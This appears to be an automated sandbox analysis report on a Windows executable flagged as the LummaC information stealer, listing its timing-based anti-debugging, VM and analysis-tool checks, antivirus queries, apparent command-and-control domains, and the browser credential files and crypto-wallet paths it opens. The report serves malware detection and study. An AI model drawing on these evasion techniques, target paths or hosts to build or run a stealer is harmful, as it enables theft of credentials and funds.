Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0B06 second address: 47E0B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0B0C second address: 47E0B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0B10 second address: 47E0B50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007F57691E35EAh 0x00000016 add ax, A918h 0x0000001b jmp 00007F57691E35EBh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0B50 second address: 47E0BAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F576860B9C0h 0x00000010 sbb ecx, 4919CAA8h 0x00000016 jmp 00007F576860B9BBh 0x0000001b popfd 0x0000001c mov si, 2D9Fh 0x00000020 popad 0x00000021 popad 0x00000022 cmp dword ptr [769B459Ch], 05h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F576860B9BCh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0BAD second address: 47E0BB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0C67 second address: 47E0C6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0C6E second address: 47E0C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 59F6843Bh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47E0C81 second address: 47E0CFB instructions: 0x00000000 rdtsc 0x00000002 mov bx, 0DA6h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007F576860B9C7h 0x0000000e or cx, 702Eh 0x00000013 jmp 00007F576860B9C9h 0x00000018 popfd 0x00000019 popad 0x0000001a call 00007F57DA780867h 0x0000001f push 76952B70h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov eax, dword ptr [esp+10h] 0x0000002f mov dword ptr [esp+10h], ebp 0x00000033 lea ebp, dword ptr [esp+10h] 0x00000037 sub esp, eax 0x00000039 push ebx 0x0000003a push esi 0x0000003b push edi 0x0000003c mov eax, dword ptr [769B4538h] 0x00000041 xor dword ptr [ebp-04h], eax 0x00000044 xor eax, ebp 0x00000046 push eax 0x00000047 mov dword ptr [ebp-18h], esp 0x0000004a push dword ptr [ebp-08h] 0x0000004d mov eax, dword ptr [ebp-04h] 0x00000050 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000057 mov dword ptr [ebp-08h], eax 0x0000005a lea eax, dword ptr [ebp-10h] 0x0000005d mov dword ptr fs:[00000000h], eax 0x00000063 ret 0x00000064 pushad 0x00000065 pushad 0x00000066 movzx ecx, di 0x00000069 movsx edi, ax 0x0000006c popad 0x0000006d popad 0x0000006e mov esi, 00000000h 0x00000073 jmp 00007F576860B9BAh 0x00000078 mov dword ptr [ebp-1Ch], esi 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F576860B9C7h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F08F1 second address: 47F0914 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov edx, 77D73CE0h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F57691E35F2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0914 second address: 47F091A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F091A second address: 47F091E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F091E second address: 47F0968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov cx, dx 0x0000000e pushfd 0x0000000f jmp 00007F576860B9BBh 0x00000014 add cx, A86Eh 0x00000019 jmp 00007F576860B9C9h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F576860B9BDh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0968 second address: 47F09E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 pushfd 0x00000007 jmp 00007F57691E35F8h 0x0000000c adc ah, 00000048h 0x0000000f jmp 00007F57691E35EBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a movsx ebx, si 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F57691E35EEh 0x00000024 adc esi, 24B208A8h 0x0000002a jmp 00007F57691E35EBh 0x0000002f popfd 0x00000030 jmp 00007F57691E35F8h 0x00000035 popad 0x00000036 popad 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F09E1 second address: 47F09FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F09FE second address: 47F0A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F57691E35F5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0A20 second address: 47F0B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F576860B9C7h 0x00000009 sub cx, B60Eh 0x0000000e jmp 00007F576860B9C9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F576860B9C0h 0x0000001a jmp 00007F576860B9C5h 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 test esi, esi 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F576860B9BCh 0x0000002c jmp 00007F576860B9C5h 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F576860B9C0h 0x00000038 sbb al, 00000048h 0x0000003b jmp 00007F576860B9BBh 0x00000040 popfd 0x00000041 popad 0x00000042 je 00007F57DA7692A2h 0x00000048 jmp 00007F576860B9C6h 0x0000004d cmp dword ptr [769B459Ch], 05h 0x00000054 jmp 00007F576860B9C0h 0x00000059 je 00007F57DA78134Fh 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0B0A second address: 47F0B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0B27 second address: 47F0B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0B37 second address: 47F0B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0B3B second address: 47F0B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0B49 second address: 47F0B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 47F0BE8 second address: 47F0C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9C4h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Special instruction interceptor: First address: 4D8D56 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Special instruction interceptor: First address: 4D8C79 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Special instruction interceptor: First address: 703685 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe TID: 644	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe TID: 4780	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000002.2312949356.000000000065D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: wIgjKoo9iI.exe, 00000000.00000003.2312256078.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2230777374.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000002.2315881181.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2230881579.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306734587.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2256178893.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG%H/
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: wIgjKoo9iI.exe, wIgjKoo9iI.exe, 00000000.00000003.2312256078.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2230777374.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000002.2315881181.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2230881579.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306734587.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2156410789.0000000000A58000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2256178893.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000002.2315721968.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311931222.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: wIgjKoo9iI.exe, 00000000.00000003.2181620309.00000000051B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: wIgjKoo9iI.exe, 00000000.00000002.2312949356.000000000065D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: wIgjKoo9iI.exe, 00000000.00000003.2181687387.00000000051A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: NTICE
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: SICE
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: wIgjKoo9iI.exe, 00000000.00000003.2108946002.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: wIgjKoo9iI.exe, 00000000.00000002.2313291298.00000000006A1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: GProgram Manager

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: wIgjKoo9iI.exe, 00000000.00000003.2312256078.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000002.2315881181.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2256017919.0000000005170000.00000004.00000800.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2270646307.0000000000AE2000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2311827697.0000000000AE2000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306734587.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2256178893.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, wIgjKoo9iI.exe, 00000000.00000003.2306532822.0000000000AE2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: wIgjKoo9iI.exe PID: 6392, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: wIgjKoo9iI.exe	String found in binary or memory: Wallets/Electrum
Source: wIgjKoo9iI.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: wIgjKoo9iI.exe	String found in binary or memory: window-state.json
Source: wIgjKoo9iI.exe	String found in binary or memory: Wallets/JAXX New Version
Source: wIgjKoo9iI.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: wIgjKoo9iI.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: wIgjKoo9iI.exe	String found in binary or memory: Wallets/Ethereum
Source: wIgjKoo9iI.exe, 00000000.00000003.2256406552.0000000000AB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: wIgjKoo9iI.exe, 00000000.00000003.2230881579.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
